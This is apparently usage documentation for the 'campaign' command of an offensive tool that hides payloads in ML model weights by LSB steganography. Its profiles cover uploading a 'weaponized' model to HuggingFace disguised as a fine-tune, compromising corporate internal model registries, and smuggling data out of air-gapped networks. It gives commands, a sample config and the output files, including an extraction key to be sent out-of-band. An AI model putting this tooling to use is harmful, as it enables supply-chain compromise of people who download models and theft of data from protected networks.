manta campaign¶

Generate a campaign configuration from a pre-built deployment profile. Outputs TOML.

Subcommands¶

Subcommand	Description
(default)	Generate a TOML config from a named profile
`apply`	Execute a saved config: embed payload, write output models and extraction keys

Usage¶

# Generate config
manta campaign -p <PROFILE> -t <TARGET> -b <BASE_MODEL> -o <OUTPUT>

# Execute config
manta campaign apply -c <CONFIG> -f <PAYLOAD> [-o <OUTPUT_DIR>]

Options¶

Flag	Short	Description
`--profile`	`-p`	Profile name (see below)
`--target`	`-t`	Target model identifier (repo ID or path)
`--base-model`	`-b`	Base model for model card generation
`--output`	`-o`	Output TOML config file

Profiles¶

`hf-supply-chain`¶

HuggingFace supply chain compromise. Uploads weaponized model as a public "fine-tuned" version.

lsb_depth: 3
ecc_ratio: none (opt-in — see tradecraft ECC matrix)
Delivery: HuggingFace Hub (public repo)

`internal-hub`¶

Internal model registry compromise. Targets corporate ML pipelines.

lsb_depth: 3
ecc_ratio: none (opt-in)
Delivery: Internal registry URL

`airgap-smuggle`¶

Air-gapped data smuggling via approved ML model transfers.

lsb_depth: 2 (conservative for maximum stealth)
ecc_ratio: none (opt-in)
Delivery: Manual transfer instructions

Example¶

Generate config¶

manta campaign \
  -p hf-supply-chain \
  -t user/llama-fine-tuned \
  -b meta-llama/Llama-3-8B \
  -o campaign.toml

Output (campaign.toml):

name = "hf-supply-chain-user/llama-fine-tuned"
target_model = "user/llama-fine-tuned"
base_model = "meta-llama/Llama-3-8B"
lsb_depth = 3
notes = "HuggingFace supply chain compromise. Upload as fine-tuned model."

[delivery]
method = "HuggingFace"
repo_id = "user/llama-fine-tuned"
private = false

Execute config¶

# Edit campaign.toml to add passphrase (optional), then:
manta campaign apply -c campaign.toml -f payload.bin -o ./op-output/

Outputs: - op-output/user-llama-fine-tuned-embedded.safetensors — weaponized model - op-output/extraction-key.json — extraction key (transmit out-of-band)